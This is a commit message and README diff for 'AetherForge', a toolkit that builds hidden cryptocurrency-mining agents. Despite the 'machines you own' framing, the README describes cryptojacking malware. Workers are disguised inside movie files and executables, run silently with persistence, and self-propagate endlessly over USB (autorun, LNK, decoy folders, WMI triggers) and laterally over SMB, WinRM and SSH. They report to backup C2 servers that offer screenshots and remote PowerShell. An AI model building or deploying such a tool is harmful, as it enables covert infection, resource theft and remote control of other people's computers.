Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.
- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge - USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless - Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots - Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command - Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting - Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner - Crucible gold rain when single agent is active; matrix rain mystic word drops - README fully rewritten; USB bundle repacked
This commit is contained in:
AetherForge
447
README.md
447
README.md
@@ -1,31 +1,30 @@
|
||||
# AetherForge
|
||||
|
||||
|
||||
**Private Monero + Ravencoin fleet command deck for machines you own.**
|
||||
|
||||
**Private Monero fleet command deck for machines you own.**
|
||||
|
||||
One control PC (Windows recommended for forging). One dashboard. Forge workers for **Windows, Linux, and macOS** — fuse inside a movie package or ship a **Spread Kit** for silent multi-OS deploy — and watch your fleet hash from a single steampunk-neon command deck.
|
||||
One control PC. One dashboard. Forge silent workers for **Windows, Linux, and macOS** — fuse inside any file, spread via USB, spread over LAN — and watch your fleet hash from a steampunk-neon command deck.
|
||||
|
||||
No pool hopping through third-party dashboards. No per-rig SSH babysitting. You run the server, you bake the binaries, you own the fleet.
|
||||
|
||||
---
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────────────┐
|
||||
│ CALIBRATE (Settings) pool · wallet · users · alerts │
|
||||
│ │ │
|
||||
│ ▼ │
|
||||
│ FORGE (Builder) worker .exe · prep fusion · movies │
|
||||
│ │ │
|
||||
│ ├──► Prep fusion embed worker in your prep.exe │
|
||||
│ ├──► Movie fusion locked media + runner + ZIP │
|
||||
│ │ │
|
||||
│ ▼ │
|
||||
│ WORKER PC RandomX on CPU · WebSocket home │
|
||||
│ │ │
|
||||
│ ▼ │
|
||||
│ COMMAND DECK live stats · 3D map · remote ops │
|
||||
└─────────────────────────────────────────────────────────────┘
|
||||
┌─────────────────────────────────────────────────────────────────────┐
|
||||
│ CALIBRATE (Settings) pool · wallet · users · alerts │
|
||||
│ │ │
|
||||
│ ▼ │
|
||||
│ FORGE (Builder) XMR worker · RVN GPU worker · Fusion │
|
||||
│ │ │
|
||||
│ ├──► Prep fusion embed worker in your own .exe │
|
||||
│ ├──► Movie fusion locked media + runner + ZIP │
|
||||
│ ├──► USB Propagation auto-spreads to every USB drive │
|
||||
│ └──► LAN Spread SMB / WinRM / SSH lateral install │
|
||||
│ │
|
||||
│ WORKER PC RandomX CPU · KawPoW GPU · WebSocket home │
|
||||
│ → installs → mines → USB-spreads → phones │
|
||||
│ │
|
||||
│ COMMAND DECK live stats · 3D map · Crucible · roster │
|
||||
└─────────────────────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
---
|
||||
@@ -37,161 +36,142 @@ AetherForge is a **self-hosted mining control plane** — not a cloud pool UI, n
|
||||
| Layer | What it does |
|
||||
|-------|----------------|
|
||||
| **Control server** | Go backend on port **8989** — REST API (Basic auth), WebSocket hub, SQLite fleet DB, Stratum proxy to your pool |
|
||||
| **Command deck** | React dashboard — login gate, fleet overview, 3D topology map, agent roster, forge builder, calibrate settings, field guide |
|
||||
| **Worker agent** | Cross-platform binary (Windows / Linux / macOS) compiled on demand — mines RandomX, phones home, reports OS + arch |
|
||||
| **Command deck** | React dashboard — login gate, fleet overview, 3D topology map, agent roster, forge builder, Crucible command terminal, calibrate settings, field guide |
|
||||
| **Worker agent** | Cross-platform binary (Windows / Linux / macOS) compiled on demand — mines RandomX (CPU) and optionally KawPoW/RVN (GPU), phones home, reports full system telemetry |
|
||||
| **Fusion (prep)** | Bundler — hides the worker inside **your** uploaded `prep.exe`, same icon, single deliverable |
|
||||
| **Fusion (movie)** | Optional media packages — encrypted movie + runner with embedded worker, ZIP export, per-title folders |
|
||||
| **Forge** | Compile-time config — wallet, pool, threads, stealth, persistence, firewall rules, AI autonomy flags |
|
||||
| **Forge** | Compile-time config — wallet, pool, threads, stealth, persistence, firewall rules, USB spread, AI autonomy flags |
|
||||
|
||||
You configure defaults once in **Calibrate**. You forge once per machine (or batch movies) in **Forge**. You run the output once on each worker. The agent installs, persists, connects, and shows up on the dashboard.
|
||||
You configure defaults once in **Calibrate**. You forge once per target profile in **Forge**. You run the output once on each worker. The agent installs, persists, connects, and shows up on the dashboard.
|
||||
|
||||
---
|
||||
|
||||
## What You Get
|
||||
|
||||
### Command Deck (Dashboard)
|
||||
- **Sign-in gate** — dashboard API uses HTTP Basic auth; browser session stored until you close the tab
|
||||
|
||||
- **Sign-in gate** — HTTP Basic auth; session persisted until tab is closed
|
||||
- Live fleet hashrate, CPU/RAM gauges, share feed
|
||||
- **Fleet Health Score** — weighted 0–100 score (online %, accept rate, pool status, hashrate) with colour-coded NOMINAL / DEGRADED / CRITICAL chip
|
||||
- **Contribution Map** — per-agent hashrate bars showing each machine's fleet share; displays USD/day per agent when XMR price is loaded
|
||||
- **Underperformer list** — machines below 70% of fleet median, with one-click "Restart All" to remediate laggards
|
||||
- **Fleet Health Score** — weighted 0–100 (online %, accept rate, pool status, hashrate) with colour-coded NOMINAL / DEGRADED / CRITICAL chip
|
||||
- **Contribution Map** — per-agent hashrate bars with USD/day estimates when XMR price is loaded
|
||||
- **Underperformer list** — machines below 70% of fleet median with one-click "Restart All"
|
||||
- **OS / Arch Breakdown** — proportional bars by platform + architecture (Win/Linux/macOS, amd64/arm64)
|
||||
- **LAN Group View** — agents grouped by /24 subnet; online count and aggregated hashrate per segment
|
||||
- **Simple / Advanced toggle** — hides charts, logs, and AI panels by default; persisted across sessions
|
||||
- **XMR price** — server-side CoinGecko fetch, 10-minute cache; displayed on the Earnings Estimator card
|
||||
- **Earnings Estimator** — XMR/day formula estimate (or live pool data from SupportXMR); USD/day and time-to-payout shown when XMR price is available
|
||||
- **3D fleet topology map** — agents orbiting the server node (React Three Fiber); staleness ring highlights agents that claim "online" but haven't been seen in >5 minutes
|
||||
- Per-agent cards with pause / resume / stop / uninstall
|
||||
- Fleet alerts (offline, hashrate drop, rejection spikes)
|
||||
- **LAN Group View** — agents grouped by /24 subnet; aggregated hashrate per segment
|
||||
- **XMR price** — server-side CoinGecko fetch, 10-minute cache
|
||||
- **Earnings Estimator** — XMR/day formula + live SupportXMR data; USD/day and time-to-payout
|
||||
- **3D fleet topology map** — agents orbiting the server node (React Three Fiber)
|
||||
- **Monero section** — CPU hashrate gauges, share feed, pool status, per-rig breakdown
|
||||
- **Ravencoin section** — GPU hashrate gauges, RVN-specific stats, per-rig GPU model table with temperature and fan data; visually distinct 3D-effect cards
|
||||
- Pool connection status and AI activity panel (Advanced mode)
|
||||
- Optional matrix stream overlay (Advanced mode)
|
||||
- Matrix stream overlay with mystic word drops (Advanced mode)
|
||||
|
||||
### Fleet Roster (Agents)
|
||||
- Every connected worker — hostname, IP, cores, memory, uptime
|
||||
- **Compact rows** — list shows name, status, hashrate, and IP; click a row to expand inline details and compact remote actions (same expand-on-click pattern on Command Deck agent cards)
|
||||
- Hashrate history charts
|
||||
- Remote control panel — mining ops, recon commands, PowerShell terminal, file upload (**disabled while agent is offline** — intentional; commands require a live WebSocket)
|
||||
- Agent log viewer — **Fetch Log** (`get_log` command) when file logging is enabled; AI autonomy can also push log tails via the `upload_log` tool report (no separate log-ingest REST API)
|
||||
- Fleet filters, bulk commands, notes/tags
|
||||
|
||||
- Every connected worker — hostname, IP, cores, memory, uptime, hashrate, latency badge
|
||||
- **Compact rows** — click to expand inline details and compact remote action strip
|
||||
- **Fleet Groups** — select multiple machines, create a named + colour-coded group; groups are selectable in the Crucible for instant batch targeting
|
||||
- **Remote control panel** — full tactical terminal with live stats ticker, colour-coded log lines, title bar, and clear button
|
||||
- Mining ops: pause / resume / restart miner
|
||||
- Recon: sysinfo, list processes, network scan, DNS config, listening ports
|
||||
- System: **Reboot**, **Shutdown**, **Wake-on-LAN** (sends UDP magic packet to agent's MAC address)
|
||||
- Screen: **Screenshot** — captures remote desktop and instantly downloads JPEG in your browser
|
||||
- Admin: PowerShell terminal, file upload, uninstall
|
||||
- **Live stats ticker** — terminal automatically streams hashrate, CPU%, RAM, temperature, disk on a 5-second interval while an agent is online
|
||||
- **Auto-sysinfo** — system info is fetched immediately when you select an agent
|
||||
- **Offline banner** — controls disabled with a clear OFFLINE badge when agent is not connected
|
||||
|
||||
### Forge (Miner Builder)
|
||||
|
||||
- **Target OS** — Windows, Linux, macOS, or **Universal** (all platforms in one ZIP)
|
||||
- **Spread Kit** — non-fusion ZIP with `Deploy.bat` / `deploy.sh` / `Start.command` → silent `--spread-install`
|
||||
- Preflight cross-check before compile — wallet, server URL, pool, fusion, AI
|
||||
- Blueprint save/load — re-forge the same profile across machines
|
||||
- Build manager — download, paths, LAN QR for worker URL
|
||||
- **Prep fusion** — upload `prep.exe`, run order (`parallel` / `prep_first` / `worker_first`), Garble obfuscation (all platforms), Authenticode / `osslsigncode` signing
|
||||
- **Movie fusion** — upload `.mp4` / `.mkv` / `.mov` (or any supported file); two delivery modes (see below)
|
||||
- **Batch forge** — queue many files; progress bar; one ZIP per file — **Cancel Batch** kills the in-flight server compile immediately via cancel token
|
||||
- **Kill Build** button — single-build cancel that terminates the server-side compiler mid-flight
|
||||
- **Windows icon disguise** — Fusion/forge can patch PE icons via [go-winres](https://github.com/tc-hib/go-winres). `devrun.bat` installs it to PATH when missing; the builder also invokes it via `go run github.com/tc-hib/go-winres` (vendored in `server/go.mod`). If go-winres is absent, forge still succeeds but icon/version disguise is skipped.
|
||||
- **Prep fusion** — upload `prep.exe`, run order (`parallel` / `prep_first` / `worker_first`), Garble obfuscation, Authenticode / `osslsigncode` signing
|
||||
- **Movie fusion** — upload `.mp4` / `.mkv` / `.mov`; embedded or paired delivery modes
|
||||
- **Batch forge** — queue many files; progress bar; one ZIP per file; Cancel Batch kills the in-flight compile
|
||||
- Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion
|
||||
- **Backup pools** (advanced) — list of fallback Stratum pools baked into the agent; tried in order if the primary is unreachable
|
||||
- **Backup server URLs** (advanced) — list of fallback C2 addresses baked into the agent; used if the primary goes dark
|
||||
- **Universal movie fusion** — one ZIP per title with per-OS runners; macOS gets a `.app` bundle (LSUIElement)
|
||||
- **Backup pools** (advanced) — fallback Stratum pool list baked into the agent
|
||||
- **Backup server URLs** (advanced) — fallback C2 addresses baked into the agent
|
||||
- **USB Propagation** — enables perpetual USB self-spread chain (see below)
|
||||
- **Share Spread** — auto-copy to mounted network shares + WinRM lateral install
|
||||
- **LAN Auto-Spread** — SMB admin$ / SSH lateral movement gated behind C2 auth
|
||||
|
||||
### Cross-platform workers
|
||||
### Ravencoin GPU Mining
|
||||
|
||||
| OS | Persistence | Install base |
|
||||
|----|-------------|--------------|
|
||||
| Windows | Registry + scheduled task | `%LOCALAPPDATA%` (configurable) |
|
||||
| Linux | systemd user service | XDG data home |
|
||||
| macOS | LaunchAgent | `~/Library/Application Support` |
|
||||
Forge a worker with GPU mining enabled. The agent auto-detects the GPU at runtime:
|
||||
|
||||
Agents report `platform`, `arch`, and `os_version` on connect. The dashboard shows OS badges; Windows-only capabilities (process hollowing, Defender off) are gated in the UI and at runtime.
|
||||
|
||||
**Mesh P2P:** Enable **Mesh Networking** in Forge to bake peer routing. The server forge pipeline adds `-tags p2p` automatically. Manual `go build` of `agent/` without Forge must pass `-tags p2p` when mesh is enabled — default builds use a no-op stub (`agent/client/mesh_p2p_stub.go`).
|
||||
|
||||
**Requirements:** Control server can run on Windows (forge host). Workers: Windows 10+, mainstream Linux (amd64/arm64), macOS 11+ (Intel or Apple Silicon).
|
||||
|
||||
### Movie Fusion (detailed)
|
||||
|
||||
Use this when you want a **named title folder** with a runner the user actually launches — not a playable shortcut on the “movie” file.
|
||||
|
||||
| Mode | Best for | What you get |
|
||||
|------|----------|----------------|
|
||||
| **Embedded (Option A)** | Clips / smaller files (~500MB and under) | One disguised file (e.g. `Title.mkv.exe`) with movie + hidden worker inside |
|
||||
| **Paired (Option B)** | Full-length films (up to **2 GiB** upload) | Per-title folder under `fusion-deliverables/<Title>/` |
|
||||
|
||||
**Paired layout** (example `Vacation`):
|
||||
|
||||
```
|
||||
fusion-deliverables/Vacation/
|
||||
├── README.txt ← tells user to run the runner for “enhanced 4K”
|
||||
├── Vacation-runner.exe ← decrypts & plays; worker hidden inside runner only
|
||||
├── Vacation.mkv.cmdata ← encrypted media (hidden)
|
||||
└── Vacation.mkv.lnk ← shortcut with --locked (MessageBox: use runner)
|
||||
```
|
||||
|
||||
- Clicking the movie shortcut **does not play** — it prompts for `*runner.exe*`
|
||||
- Primary download after forge: **`Title-package.zip`** (README + locked media + runner; no separate miner in the ZIP)
|
||||
- **Agent is only inside the runner** — not a loose miner file in the package
|
||||
|
||||
**Upload limits:** prep / video uploads capped at **2 GiB** (`FusionMaxUploadBytes`).
|
||||
|
||||
### Dashboard navigation
|
||||
|
||||
| Nav label | Route | Component |
|
||||
| GPU vendor | Miner | Algorithm |
|
||||
|-----------|-------|-----------|
|
||||
| Command Deck | `/dashboard` | `DashboardPage` |
|
||||
| Fleet Roster | `/agents` | `AgentsPage` |
|
||||
| Forge | `/forge` | `BuilderPage` |
|
||||
| Crucible | `/crucible` | `CruciblePage` |
|
||||
| Builds | `/builds` | `BuildManagerPage` |
|
||||
| Field Guide | `/guide` | `GuidePage` |
|
||||
| Calibrate | `/settings` | `SettingsPage` |
|
||||
| NVIDIA (CUDA) | T-Rex | KawPoW (RVN) |
|
||||
| AMD (OpenCL) | TeamRedMiner | KawPoW (RVN) |
|
||||
|
||||
- Agent downloads and silently launches the appropriate miner binary
|
||||
- Local HTTP API polling for live hashrate (15s / 1m / 15m averages), GPU temperature, fan speed, power draw
|
||||
- RVN address and pool baked at forge time; RVN pool presets available in the Forge UI
|
||||
- Dashboard shows dedicated **Ravencoin** section separate from Monero CPU stats
|
||||
- CPU (Monero) and GPU (Ravencoin) hashing power tracked and displayed independently
|
||||
|
||||
There is no separate `CalibratePage` — **Calibrate** is the nav label for the settings route.
|
||||
### USB Perpetual Self-Propagation
|
||||
|
||||
### Calibrate (Settings)
|
||||
- Server port, public URL, data retention, max agents
|
||||
- Default pool + wallet for new forge forms
|
||||
- **Users** — add/change API accounts (first-run password auto-generated and printed to console)
|
||||
- Alert thresholds + Telegram / email notifications
|
||||
- Open Windows Firewall for dashboard port on startup
|
||||
Enable **USB Propagation** in the Forge. The baked binary:
|
||||
|
||||
### Under the Hood
|
||||
- **Stratum proxy** — workers submit through your server; one upstream pool connection per wallet/host; `payment_id` appended to login when set in Calibrate
|
||||
- **Stratum fallback** — agent mines directly to the configured pool when C2 has been unreachable for >30 seconds; cycles through backup pools; stops and hands off back to C2 when the server reconnects
|
||||
- **WebSocket hub** — agents and dashboard get live stats, jobs, alerts
|
||||
- **Fleet secret** — random token generated once on first run, baked into every forged agent; agents rejected if they don't present the matching secret
|
||||
- **Hashrate reporting** — agent divides accumulated hashes by the elapsed interval (not a raw counter); 15s / 1m / 15m rolling averages sent on each stats tick
|
||||
- **Process guard** — Unix `pgrep` fix: correctly matches only the agent binary (no false-positive self-kill)
|
||||
- **ARP-first subnet scan** — autospread reads the OS ARP cache to find live LAN hosts before falling back to a full /24 port sweep; reduces noise from 253 cold probes to typically 5–20
|
||||
- **Ollama AI autonomy** (optional) — server-side LLM decides restart / persistence / tunnel actions; workers call `/api/v1/agent/decide` (fleet-secret gated)
|
||||
- **Garble obfuscation** — strips symbols and randomises identifiers in compiled agents; works on Windows, Linux, and macOS targets when `garble` is on PATH
|
||||
- **Cross-platform code signing** — uses Windows `signtool` on Windows forge hosts; falls back to `osslsigncode` on Linux/macOS
|
||||
- **Server-side forge cancel** — each build is tracked by a UUID cancel token; `DELETE /api/v1/builder/cancel/{token}` kills the compiler process immediately
|
||||
- **Retention jobs** — auto-purge old hashrate samples and stale build artifacts
|
||||
- **Static SPA** — built UI served from `server/webroot/` (copied from `server/web/dist` by `devrun.bat`)
|
||||
1. **Spreads within 8 seconds** of any USB drive being plugged in (also checks drives already present at startup)
|
||||
2. Drops the agent binary into a hidden system-looking folder (`~RECYCLER`, `System Volume Information`, etc.)
|
||||
3. Writes an `autorun.inf` (legacy trigger), a **folder-icon LNK shortcut** (Win8+), and a visible **SETUP.BAT** fallback
|
||||
4. Creates a plausible **decoy folder** (Documents / Photos / etc.) so the drive looks natural
|
||||
5. Installs a **persistent WMI event subscription** that fires on every future USB mount — survives reboots
|
||||
6. Refreshes the payload automatically when the agent binary is updated (size check)
|
||||
|
||||
**On the next PC**, when the USB exe runs via LNK or SETUP.BAT:
|
||||
- `InstallIfNeeded` detects it's running from removable media
|
||||
- Silently copies to `%LOCALAPPDATA%`, sets up scheduled task / registry autostart
|
||||
- Original process exits; installed copy starts and **also watches for USB drives**
|
||||
- Chain never ends — every new infected PC propagates to every USB it sees
|
||||
|
||||
### Crucible (Command Terminal)
|
||||
|
||||
- Select one or many agents (or entire Fleet Groups) as targets
|
||||
- Send raw commands, PowerShell, or preset tactical ops to all selected machines simultaneously
|
||||
- **Gold rain effect** — matrix overlay switches to gold flurry when a single agent is active in the Crucible
|
||||
- Real-time command output streamed back to the terminal
|
||||
|
||||
### Matrix Digital Rain
|
||||
|
||||
- Mystic word drops — "destroy", "witchcraft", "black magic", and others appear randomly in the rain
|
||||
- **Gold flurry mode** activates in the Crucible when one machine is being manipulated
|
||||
- Heavy gold rain identical to Forge progress animation
|
||||
|
||||
### Wake-on-LAN
|
||||
|
||||
- Agent reports its primary MAC address to the server on auth
|
||||
- MAC stored in the fleet database
|
||||
- Fleet Roster **Wake** button sends a UDP magic packet broadcast (port 9) to the agent's last-known MAC
|
||||
- Works even when the machine is powered off (requires WOL enabled in BIOS and same subnet)
|
||||
|
||||
---
|
||||
|
||||
## Quick Start
|
||||
|
||||
**Requirements:** Windows 10/11 on control PC and workers. Outbound internet to your Monero pool.
|
||||
**Requirements:** Windows 10/11 on control PC. Outbound internet to your pool.
|
||||
|
||||
1. Double-click **`devrun.bat`** in the project root.
|
||||
It installs Go/Node if missing, builds the dashboard, compiles `bin\miner-server.exe`, copies web assets to `server\webroot\`, and starts the server.
|
||||
1. Double-click **`devrun.bat`** in the project root.
|
||||
Installs Go/Node if missing, builds the dashboard, compiles `bin\miner-server.exe`, copies web assets, and starts the server.
|
||||
|
||||
2. Browser opens **http://localhost:8989**
|
||||
|
||||
3. **Sign in** when prompted — on first run, check the console window for your generated admin password
|
||||
3. **Sign in** — first run: check the console window for your generated admin password
|
||||
|
||||
4. **Calibrate** → set your Monero wallet + pool + (optional) public URL for remote workers
|
||||
4. **Calibrate** → set your Monero wallet + pool + public URL for remote workers
|
||||
|
||||
5. **Forge** → worker name + server URL (`http://YOUR-LAN-IP:8989` or your tunnel URL) → **Forge Installer**
|
||||
For movies: set title, pick embedded vs paired, upload file, forge (or use batch mode)
|
||||
5. **Forge** → worker name · server URL (`http://YOUR-LAN-IP:8989` or tunnel) · target OS · enable GPU / USB spread as needed → **Forge Installer**
|
||||
|
||||
6. Run the forged `.exe` **once** on each worker PC (or distribute movie ZIP + runner per your policy)
|
||||
6. Run the forged `.exe` **once** on each worker PC (or distribute via movie ZIP / USB)
|
||||
|
||||
7. Watch them appear on **Command Deck** and **Fleet Roster**
|
||||
|
||||
### First-run login
|
||||
|
||||
On the very first launch the server generates a random admin password and prints it once to the console:
|
||||
|
||||
```
|
||||
=== First Run ===
|
||||
Dashboard login: admin / <random-password>
|
||||
@@ -199,23 +179,40 @@ Save this — it is not shown again. Change it in Calibrate → Users.
|
||||
=================
|
||||
```
|
||||
|
||||
Subsequent runs load credentials from `data/users.json` (bcrypt hashes only — cost 12). Legacy plain-text entries from older installs are auto-migrated to bcrypt on startup and on next successful login via `checkPassword` in `server/internal/api/router.go`. Change or add users under **Calibrate → Users**.
|
||||
Credentials stored in `data/users.json` (bcrypt cost 12). Legacy plain-text entries auto-migrated. Change or add users under **Calibrate → Users**.
|
||||
|
||||
**API auth summary**
|
||||
**Auth surface**
|
||||
|
||||
| Surface | Auth mechanism |
|
||||
| Surface | Mechanism |
|
||||
|---------|----------------|
|
||||
| `/api/v1/*` REST | HTTP Basic Auth (`Authorization: Basic <base64>`) |
|
||||
| `/ws/dashboard` | `?token=<base64-user:pass>` query parameter |
|
||||
| `/ws/agent` | Fleet-secret `auth` JSON frame on connect |
|
||||
| `/api/v1/agent/*` | `X-Fleet-Secret: <secret>` header (agents only) |
|
||||
| `/api/v1/*` REST | HTTP Basic Auth |
|
||||
| `/ws/dashboard` | `?token=<base64-user:pass>` |
|
||||
| `/ws/agent` | Fleet-secret `auth` JSON frame |
|
||||
| `/api/v1/agent/*` | `X-Fleet-Secret: <secret>` header |
|
||||
| Static SPA + `/api/v1/health` | Open (no auth) |
|
||||
|
||||
### Output locations
|
||||
---
|
||||
|
||||
## Portable USB (AetherForge on a stick)
|
||||
|
||||
Run **`pack-usb.bat`** from the project root. It:
|
||||
|
||||
1. Builds the frontend and compiles `AetherForge.exe`
|
||||
2. Copies webroot, agent source, fusion source, and the Go toolchain into `usb\`
|
||||
3. Creates `data\` directories with a starter `config.json`
|
||||
4. Syncs `LAUNCH.bat`
|
||||
|
||||
Copy the entire `usb\` folder to a USB drive. On any Windows PC, double-click **`LAUNCH.bat`** → dashboard opens at `http://localhost:8989`.
|
||||
|
||||
> **Note:** This is the *control deck* portable bundle — separate from the agent USB propagation feature. One is a portable server for you; the other is silent agent deployment onto target machines.
|
||||
|
||||
---
|
||||
|
||||
## Output Locations
|
||||
|
||||
| Artifact | Where |
|
||||
|----------|--------|
|
||||
| Fused / forged exe (primary) | Project root — e.g. `prep.exe` or `install-worker.exe` |
|
||||
| Forged agent exe | Project root (e.g. `install-worker.exe`) |
|
||||
| Movie fusion per title | `fusion-deliverables/<Title>/` + `Title-package.zip` |
|
||||
| Archive copy | `data\builds\{build-id}\` |
|
||||
| Uninstall script | Same build folder + download API |
|
||||
@@ -233,9 +230,24 @@ Subsequent runs load credentials from `data/users.json` (bcrypt hashes only —
|
||||
| Same LAN | `http://192.168.x.x:8989` |
|
||||
| Cloudflare / reverse tunnel | `https://your-domain.com` |
|
||||
|
||||
Workers auto-convert `http(s)://` → `ws(s)://.../ws/agent`. Workers only need **outbound** access to your control URL — not inbound ports on each worker.
|
||||
Workers auto-convert `http(s)://` → `ws(s)://.../ws/agent`. Workers only need **outbound** access to your control URL.
|
||||
|
||||
**Do not** expose port 8989 to the public internet without VPN, firewall allowlist, or reverse-proxy auth. Remote commands are full machine control.
|
||||
**Do not** expose port 8989 to the public internet without VPN, firewall allowlist, or reverse-proxy auth.
|
||||
|
||||
---
|
||||
|
||||
## Agent Silence
|
||||
|
||||
Every agent operation is **completely silent** — no CMD windows, no PowerShell popups, no system notifications. The only user-visible event is a single UAC prompt on first launch (elevation required for persistence and firewall rules).
|
||||
|
||||
| Category | Mechanism |
|
||||
|----------|-----------|
|
||||
| Process launch | `CREATE_NO_WINDOW` + `DETACHED_PROCESS` syscall flags on all child processes |
|
||||
| Persistence | Scheduled task / registry run key — no user-visible installer |
|
||||
| Mining | XMRig / T-Rex / TeamRedMiner run fully hidden |
|
||||
| WMI triggers | PowerShell executed with `-WindowStyle Hidden` |
|
||||
| Spread installs | `--run` flag relaunches silently with detached start |
|
||||
| Fusion decoy | Only the decoy file (movie/prep) opens visibly — agent stays hidden |
|
||||
|
||||
---
|
||||
|
||||
@@ -244,33 +256,38 @@ Workers auto-convert `http(s)://` → `ws(s)://.../ws/agent`. Workers only need
|
||||
```
|
||||
crypto miner/
|
||||
├── devrun.bat ← one-click build + launch (dev)
|
||||
├── run.bat / start.bat ← aliases → devrun.bat (project-root markers)
|
||||
├── test.bat ← full suite → scripts/test-suite.ps1
|
||||
├── LAUNCH.bat ← portable/USB build + tunnel (see usb/)
|
||||
├── pack-usb.bat ← build portable AetherForge USB bundle
|
||||
├── run.bat / start.bat ← aliases → devrun.bat
|
||||
├── test.bat ← full test suite → scripts/test-suite.ps1
|
||||
├── LAUNCH.bat ← portable/USB launch script
|
||||
├── scripts/
|
||||
│ ├── test-suite.ps1 ← Go + web + build + Playwright E2E
|
||||
│ └── smoke-test.ps1 ← API matrix B-01–B-10 (server must be running)
|
||||
│ └── smoke-test.ps1 ← API matrix B-01–B-10
|
||||
├── bin/
|
||||
│ └── miner-server.exe
|
||||
├── data/ ← config, DB, builds, preps, logs, users.json
|
||||
├── fusion-deliverables/ ← per-title movie fusion output (gitignored)
|
||||
├── data/ ← config, DB, builds, preps, logs, users.json
|
||||
├── fusion-deliverables/ ← per-title movie fusion output (gitignored)
|
||||
├── usb/ ← portable USB server bundle (output of pack-usb.bat)
|
||||
├── server/
|
||||
│ ├── main.go ← discovers webroot/, agent/, fusion/ from repo root
|
||||
│ ├── webroot/ ← production UI (copied from web/dist)
|
||||
│ ├── web/ ← React command deck (Vite + TypeScript)
|
||||
│ ├── main.go
|
||||
│ ├── webroot/ ← production UI (copied from web/dist)
|
||||
│ ├── web/ ← React command deck (Vite + TypeScript)
|
||||
│ └── internal/
|
||||
│ ├── api/ ← HTTP routes, WebSocket, auth
|
||||
│ └── builder/ ← forge + fusion (copies agent/ + fusion/ per build)
|
||||
├── agent/ ← worker source (Forge compiles per OS)
|
||||
├── fusion/ ← prep + movie runner (builder copies into build dir)
|
||||
├── tests/README.md ← test phases, E2E env vars
|
||||
├── PROBLEMS.md ← known issues audit (severity-ranked)
|
||||
└── README.md ← you are here
|
||||
│ ├── api/ ← HTTP routes, WebSocket, auth, fleet, WOL
|
||||
│ └── builder/ ← forge + fusion pipeline
|
||||
├── agent/ ← worker source (Forge compiles per OS/arch)
|
||||
│ ├── client/ ← WebSocket client, command handler, GPU miner, screenshot
|
||||
│ ├── deploy/ ← install, persistence, watchdog, passive spread, firewall
|
||||
│ └── config/ ← builtin config baked at forge time
|
||||
├── fusion/ ← prep + movie runner source
|
||||
├── tests/README.md ← test phases, E2E env vars
|
||||
├── PROBLEMS.md ← known issues (severity-ranked)
|
||||
└── README.md ← you are here
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## API Surface (summary)
|
||||
## API Surface
|
||||
|
||||
| Method | Path | Purpose |
|
||||
|--------|------|---------|
|
||||
@@ -281,20 +298,52 @@ crypto miner/
|
||||
| GET | `/api/v1/builds/{id}/download` | Download forged exe |
|
||||
| GET | `/api/v1/builds/{id}/artifact/{name}` | Extra artifacts (ZIP, README, …) |
|
||||
| GET | `/api/v1/agents` | Fleet list |
|
||||
| POST | `/api/v1/agents/{id}/command` | Remote action (pause, powershell, …) |
|
||||
| POST | `/api/v1/agents/bulk-command` | Send same command to multiple agents |
|
||||
| POST | `/api/v1/agents/{id}/command` | Remote action (pause, reboot, screenshot, …) |
|
||||
| POST | `/api/v1/agents/{id}/wol` | Send Wake-on-LAN magic packet |
|
||||
| POST | `/api/v1/agents/bulk-command` | Send command to multiple agents |
|
||||
| GET | `/api/v1/alerts` | Active fleet alerts |
|
||||
| GET | `/api/v1/pools/status` | Stratum pool connection states |
|
||||
| GET | `/api/v1/earnings/estimate` | XMR/day estimate (or live SupportXMR data) |
|
||||
| GET | `/api/v1/earnings/estimate` | XMR/day estimate |
|
||||
| GET | `/api/v1/market/xmr` | XMR/USD spot price (CoinGecko, 10 min cache) |
|
||||
| WS | `/ws/agent` | Worker connection |
|
||||
| WS | `/ws/dashboard?token=<base64>` | Live dashboard feed (token = base64 of `user:pass`) |
|
||||
| WS | `/ws/dashboard?token=<base64>` | Live dashboard feed |
|
||||
|
||||
Full route list: `server/internal/api/router.go`
|
||||
|
||||
---
|
||||
|
||||
## Manual Build (if you skip devrun.bat)
|
||||
## Cross-Platform Workers
|
||||
|
||||
| OS | CPU miner | GPU miner | Persistence | Install base |
|
||||
|----|-----------|-----------|-------------|--------------|
|
||||
| Windows | XMRig (RandomX) | T-Rex / TeamRedMiner (KawPoW) | Registry + scheduled task | `%LOCALAPPDATA%` |
|
||||
| Linux | XMRig | — | systemd user service | XDG data home |
|
||||
| macOS | XMRig | — | LaunchAgent | `~/Library/Application Support` |
|
||||
|
||||
**Mesh P2P:** Enable **Mesh Networking** in Forge to bake peer routing (`-tags p2p`). Default builds use a no-op stub.
|
||||
|
||||
---
|
||||
|
||||
## Movie Fusion (detailed)
|
||||
|
||||
| Mode | Best for | What you get |
|
||||
|------|----------|----------------|
|
||||
| **Embedded (Option A)** | Clips / smaller files (~500 MB) | One disguised file (`Title.mkv.exe`) with movie + hidden worker |
|
||||
| **Paired (Option B)** | Full films (up to 2 GiB) | Per-title folder under `fusion-deliverables/<Title>/` |
|
||||
|
||||
**Paired layout:**
|
||||
|
||||
```
|
||||
fusion-deliverables/Vacation/
|
||||
├── README.txt ← instructs user to run the runner for "enhanced 4K"
|
||||
├── Vacation-runner.exe ← decrypts & plays; worker hidden inside runner
|
||||
├── Vacation.mkv.cmdata ← encrypted media (hidden)
|
||||
└── Vacation.mkv.lnk ← shortcut → prompts for runner
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Manual Build
|
||||
|
||||
```bat
|
||||
cd server\web
|
||||
@@ -311,13 +360,15 @@ cd ..
|
||||
bin\miner-server.exe -port 8989 -data .\data
|
||||
```
|
||||
|
||||
